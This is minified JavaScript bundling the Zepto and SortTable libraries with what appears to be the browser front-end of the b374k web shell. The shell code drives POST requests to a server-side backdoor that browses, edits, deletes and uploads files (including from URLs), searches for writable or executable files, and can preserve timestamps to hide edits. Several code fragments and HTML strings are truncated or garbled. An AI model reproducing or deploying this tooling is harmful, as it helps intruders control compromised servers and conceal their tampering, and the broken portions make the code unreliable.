b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("
").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)

/** * * SortTable * version 2 * 7th April 2007 * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/ * **/ var h=!0,j=!1; sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]); if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;bc;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10); window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e '+str); }

function window_resize(){ bodyWidth = $('body').width(); if(bodyWidth<=portableWidth){ layout_portable(); } else{ layout_normal(); } } function layout_portable(){ nav = $('#nav'); menu = $('#menu'); headerNav = $('#headerNav'); content = $('#content'); //nav.hide(); nav.prependTo('#content'); nav.css('padding','5px 8px'); nav.css('margin-top', '8px'); nav.css('display','block'); nav.addClass('border'); menu.children().css('width', '100%'); menu.hide(); $('#menuButton').remove(); headerNav.prepend("

"); menu.attr('onclick', "\$('#menu').hide();");

$('#xplTable tr>:nth-child(4)').hide(); $('#xplTable tr>:nth-child(5)').hide(); if(!win){ $('#xplTable tr>:nth-child(6)').hide(); }

tblfoot = $('#xplTable tfoot td:last-child'); if(tblfoot[0]) tblfoot[0].colSpan = 1; if(tblfoot[1]) tblfoot[1].colSpan = 2;

$('.box').css('width', '100%'); $('.box').css('height', '100%'); $('.box').css('left', '0px'); $('.box').css('top', '0px');

paddingTop = $('#header').height(); content.css('padding-top', paddingTop+'px');

portableMode = true; }

function layout_normal(){ nav = $('#nav'); menu = $('#menu'); content = $('#content');

nav.insertAfter('#b374k'); nav.css('padding','0'); nav.css('margin-top', '0'); nav.css('display','inline'); nav.removeClass('border');

menu.children().css('width', 'auto'); menu.show(); $('#menuButton').remove(); menu.attr('onclick', "");

$('#xplTable tr>:nth-child(4)').show(); $('#xplTable tr>:nth-child(5)').show(); if(!win){ $('#xplTable tr>:nth-child(6)').show(); colspan = 4; } else colspan = 3;

tblfoot = $('#xplTable tfoot td:last-child'); if(tblfoot[0]) tblfoot[0].colSpan = colspan; if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;

paddingTop = $('#header').height(); content.css('padding-top', paddingTop+'px');

portableMode = false; }

function start_scroll(str){ if(str=='top'){ to = $(window).scrollTop() - scrollCounter; scrollCounter = scrollDelta + scrollCounter; if(to<=0){ to = 0; onScroll = false; } else if(onScroll){ scrollTimer = setTimeout("start_scroll('top')", scrollSpeed); $(window).scrollTop(to); } } else if(str=='bottom'){ to = $(window).scrollTop() + scrollCounter; scrollCounter = scrollDelta + scrollCounter; bottom = $(document).height()-$(window).height(); if(to>=bottom){ to = bottom; onScroll = false; } else if(onScroll){ scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed); $(window).scrollTop(to); } } }

function get_cwd(){ return decodeURIComponent(get_cookie('cwd')); }

function fix_tabchar(el, e){ if(e.keyCode==9){ e.preventDefault(); var s = el.selectionStart; el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd); el.selectionEnd = s+1; } }

function get_cookie(key){ var res; return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null; }

function set_cookie(key, value){ document.cookie = key + '=' + encodeURIComponent(value); }

function html_safe(str){ if(typeof(str) == "string"){ str = str.replace(/&/g, "&"); str = str.replace(/"/g, """); str = str.replace(/'/g, "'"); str = str.replace(//g, ">"); } return str; }

function ucfirst(str){ return str.charAt(0).toUpperCase() + str.slice(1); }

function time(){ var d = new Date(); return d.getTime(); }

function send_post(targetdata, callback, loading){ if(loading==null) loading_start(); $.ajax({ url: targeturl, type: 'POST', data: targetdata, success: function(res){ callback(res); if(loading==null) loading_stop(); }, error: function(){ if(loading==null) loading_stop(); } }); }

function loading_start(){ if(!running){ $('#overlay').show(); running = true; loading_loop(); } }

function loading_loop(){ if(running){ img = $('#loading'); img.css('transform', 'rotate('+loading_count+'deg)'); img.css('-ms-transform', 'rotate('+loading_count+'deg)'); img.css('-webkit-transform', 'rotate('+loading_count+'deg)');

loading_count+=7; if(loading_count>360) loading_count = 0; if(running) setTimeout("loading_loop()",20); } }

function loading_stop(){ if(running){ img = $('#loading'); img.css('transform', 'rotate(0deg)'); img.css('-ms-transform', 'rotate(0deg)'); img.css('-webkit-transform', 'rotate(0deg)');

$('#overlay').hide(); running = false; } }

function show_tab(id){ if(!id){ if(location.hash!='') id = location.hash.substr(2); else id = defaultTab; } refresh_tab(id); }

function refresh_tab(id){ if(!id){ if(location.hash!='') id = location.hash.substr(2); else id = defaultTab; } $('.menuitemSelected').removeClass("menuitemSelected"); $('#menu'+id).addClass("menuitemSelected");

tabScroll[currentTab.attr('id')] = $(window).scrollTop(); currentTab.hide(); currentTab = $('#'+id); currentTab.show(); window[id](); if(tabScroll[id]){ $(window).scrollTop(tabScroll[id]); } hide_box(); }

function trap_enter(e, callback){ if(e.keyCode==13){ if(callback!=null) window[callback](); } }

function show_box(title, content){ onDrag = false; hide_box(); box = "

"+title+"x

"+content+"

"; $('#content').append(box);

box_width = $('.box').width(); body_width = $('body').width();

box_height = $('.box').height(); body_height = $('body').height();

x = (body_width - box_width)/2; y = (body_height - box_height)/2; if(x<0 || portableMode) x = 0; if(y<0 || portableMode) y = 0; if(portableMode){ $('.box').css('width', '100%'); $('.box').css('height', '100%'); } $('.box').css('left', x+'px'); $('.box').css('top', y+'px'); $('.boxclose').on('click', function(e){ hide_box(); }); if(!portableMode){ $('.boxtitle').on('click', function(e){ if(!onDrag){ dragDeltaX = e.pageX - parseInt($('.box').css('left')); dragDeltaY = e.pageY - parseInt($('.box').css('top')); drag_start(); } else drag_stop(); }); } $(document).off('keyup'); $(document).on('keyup', function(e){ if(e.keyCode == 27) hide_box(); }); if($('.box input')[0]) $('.box input')[0].focus(); } function hide_box(){ $(document).off('keyup'); $('.box').remove(); } function drag_start(){ if(!onDrag){ onDrag = true; $('body').off('mousemove'); $('body').on('mousemove', function(e){ dragX = e.pageX; dragY = e.pageY; }); setTimeout('drag_loop()',50); } } function drag_loop(){ if(onDrag){ x = dragX - dragDeltaX; y = dragY - dragDeltaY; if(y<0)y=0; $('.box').css('left', x+'px'); $('.box').css('top', y+'px'); setTimeout('drag_loop()',50); } } function drag_stop(){ onDrag = false; $('body').off('mousemove'); } function get_all_cbox_selected(id, callback){ var buffer = new Array(); $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){ if((href = window[callback]($(this)))){ buffer[i] = href; } }); return buffer; } function cbox_bind(id, callback){ $('#'+id).find('.cBox').off('click'); $('#'+id).find('.cBoxAll').off('click'); $('#'+id).find('.cBox').on('click', function(e){ if($(this).hasClass('cBoxSelected')){ $(this).removeClass('cBoxSelected'); } else $(this).addClass('cBoxSelected'); if(callback!=null) window[callback](); }); $('#'+id).find('.cBoxAll').on('click', function(e){ if($(this).hasClass('cBoxSelected')){ $('#'+id).find('.cBox').removeClass('cBoxSelected'); $('#'+id).find('.cBoxAll').removeClass('cBoxSelected'); } else{ $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected'); $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected'); } if(callback!=null) window[callback](); }); } function action(path, type){ title = "Action"; content = ''; if(type=='file') content = "

editrenamedeletedownload

"; if(type=='dir') content = "

finduploadrenamedelete

"; if(type=='dot') content = "

finduploadrenamedeletenew filenew folder

"; show_box(title, content); xpl_bind(); }

function navigate(path, showfiles){ if(showfiles==null) showfiles = 'true'; send_post({ cd:path, showfiles:showfiles }, function(res){ if(res!='error'){ splits = res.split('{[|b374k|]}'); if(splits.length==3){ $('#nav').html(splits[1]); if(showfiles=='true'){ $('#explorer').html(''); $('#explorer').html(splits[2]); sorttable.k($('#xplTable').get(0)); } $('#terminalCwd').html(html_safe(get_cwd())+'>'); xpl_bind(); window_resize(); } } }); }

function view(path, type, preserveTimestamp){ if(preserveTimestamp==null) preserveTimestamp = 'true'; send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){ if(res!='error'){ $('#explorer').html(''); $('#explorer').html(res); xpl_bind(); show_tab('explorer'); if((type=='edit')||(type=='hex')){ editResult = (type=='edit')? $('#editResult'):$('#editHexResult'); if(editSuccess=='success'){ editResult.html(' ( File saved )'); } else if(editSuccess=='error'){ editResult.html(' ( Failed to save file )'); } editSuccess = ''; } cbox_bind('editTbl'); } }); }

function view_entry(el){ if($(el).attr('data-path')!=''){ entry = $(el).attr('data-path'); $('#form').append(""); $('#form').submit(); $('#form').html(''); } }

function ren(path){ title = "Rename"; content = "

Rename to
rename

"; show_box(title, content); }

function ren_go(){ renameFile = $('.renameFile').val(); renameFileTo = $('.renameFileTo').val(); send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){ if(res!='error'){ navigate(res); $('.boxresult').html('Operation(s) succeeded'); $('.renameFile').val($('.renameFileTo').val()); } else $('.boxresult').html('Operation(s) failed'); }); }

function newfolder(path){ title = "New Folder"; path = path + 'newfolder-' + time(); content = "

Folder Name
create

"; show_box(title, content); }

function newfolder_go(){ newFolder = $('.newFolder').val(); send_post({newFolder:newFolder}, function(res){ if(res!='error'){ navigate(res); $('.boxresult').html('Operation(s) succeeded'); } else $('.boxresult').html('Operation(s) failed'); }); }

function newfile(path){ title = "New File"; path = path + 'newfile-' + time(); content = "

File Name
create

"; show_box(title, content); }

function newfile_go(){ newFile = $('.newFile').val(); send_post({newFile:newFile}, function(res){ if(res!='error'){ view(newFile, 'edit'); $('.boxresult').html('Operation(s) succeeded'); } else $('.boxresult').html('Operation(s) failed'); }); }

function viewfileorfolder(){ title = "View File / Folder"; content = "

view

"; show_box(title, content); }

function viewfileorfolder_go(){ entry = $('.viewFileorFolder').val(); send_post({viewFileorFolder:entry}, function(res){ if(res!='error'){ if(res=='file'){ view(entry, 'auto'); show_tab('explorer'); } else if(res=='folder'){ navigate(entry); show_tab('explorer'); } } }); }

function del(path){ title = "Delete"; content = "

Delete
delete

"; show_box(title, content); }

function delete_go(){ path = $('.delete').val(); send_post({delete:path}, function(res){ if(res!='error'){ navigate(res); $('.boxresult').html('Operation(s) succeeded'); } else $('.boxresult').html('Operation(s) failed'); }); }

function find(path){ findfile = "

Find File

Search in
Filename contains
Regex  Case Insensitive
File contains
Regex  Case Insensitive
Permissions Readable  Writable  Executable
explorer find

"; findfolder = "

Find Folder

Search in
Foldername contains
Regex   Case Insensitive
Permissions Readable  Writable  Executable
explorer find

"; $('#explorer').html("

" +findfile+'
'+findfolder+'

'); cbox_bind('xplUpload'); }

function find_go_file(){ find_go('file'); }

function find_go_folder(){ find_go('folder'); }

function find_go(findType){ findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val(); findResult = (findType=='file')? $('.findfileResult'):$('.findResult');

findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val(); findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString(); findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();

findContent = (findType=='file')? $('.findfileContains').val():""; findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():""; findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";

findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString(); findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString(); findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();

send_post( { findType:findType, findPath:findPath, findName:findName, findNameRegex:findNameRegex, findNameInsensitive:findNameInsensitive, findContent:findContent, findContentRegex:findContentRegex, findContentInsensitive:findContentInsensitive, findReadable:findReadable, findWritable:findWritable, findExecutable:findExecutable }, function(res){ if(res!='error'){ findResult.html(res); } } ); }

function ul_go_comp(){ ul_go('comp'); }

function ul_go_url(){ ul_go('url'); }

function ul(path){ ulcomputer = "

Upload From Computer (+)

explorer upload
Or Drag and Drop files here

"; ulurl = "

Upload From Url (+)

explorer upload

"; content = ulcomputer + '
' + ulurl + ""; $('#explorer').html(content); ul_add_comp(); ul_add_url();

$('#ulDragNDrop').on('dragenter', function(e){ e.stopPropagation(); e.preventDefault(); });

$('#ulDragNDrop').on('dragover', function(e){ e.stopPropagation(); e.preventDefault(); });

$('#ulDragNDrop').on('drop', function(e){ e.stopPropagation(); e.preventDefault();

files = e.target.files || e.dataTransfer.files; ulResult = $('.ulDragNDropResult'); ulResult.html(''); $.each(files, function(i){ if(this){ ulType = 'DragNDrop'; filename = this.name;

var formData = new FormData(); formData.append('ulFile', this); formData.append('ulSaveTo', get_cwd()); formData.append('ulFilename', filename); formData.append('ulType', 'comp');

entry = "

> "+filename+" 

"; ulResult.append(entry);

if(this.size<=0){ $('.ulProgress'+ulType+i).html('( failed )'); $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); } else{ ul_start(formData, ulType, i); } } }); }); } function ul_add_comp(path){ path = html_safe($('.ul_path').val()); $('.ulcompadd').append(" File Save to Filename (Optional)

"); }

function ul_add_url(path){ path = html_safe($('.ul_path').val()); $('.ulurladd').append(" File URL Save to Filename (Optional)

"); }

